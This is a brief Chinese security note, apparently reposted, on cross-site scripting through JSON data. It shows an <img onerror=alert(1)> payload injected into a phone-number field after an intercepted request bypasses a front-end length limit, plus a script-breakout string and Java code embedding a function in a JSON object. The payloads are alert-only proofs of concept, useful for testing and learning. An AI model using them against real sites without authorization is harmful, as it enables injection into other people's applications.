JSON XSS


漏洞實例一:

 1、在更新用戶信息,修改聯系電話,抓包繞過前端20個字符限制,Payload為 111<img src=1 onerror=alert(1)>

2、更新后,訪問json

3、已隱去相關信息,json形式大約是這樣子:

{"birthday":"1991-12-09 00:00:00","org": {"parent":"ae5ef78d-bd21-4e10-a03a-2707366dfb80", "phone":"111<img src=1 onerror=alert(1)>","createTime":"2019-01-25 09:46:30","status":1}

4、在頁面找到輸出點,成功彈窗。

 

案例二:

<script>var JSONResponseString='{"movies":[{"response":"111"}]}';alert(/xss/)</script>//"}]}';</script>

json = new JSONObject(); json.put("code", 200); json.put("info", "{'replace':function(){alert(/xss/);}}"); json.put("msg", "success"); System.out.println(json); // 輸出:{"code":200,"info":{"replace":function(){ alert(/xss/); }},"msg":"success"}

參考鏈接:https://blog.csdn.net/l_f0rm4t3d/article/details/23851071/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM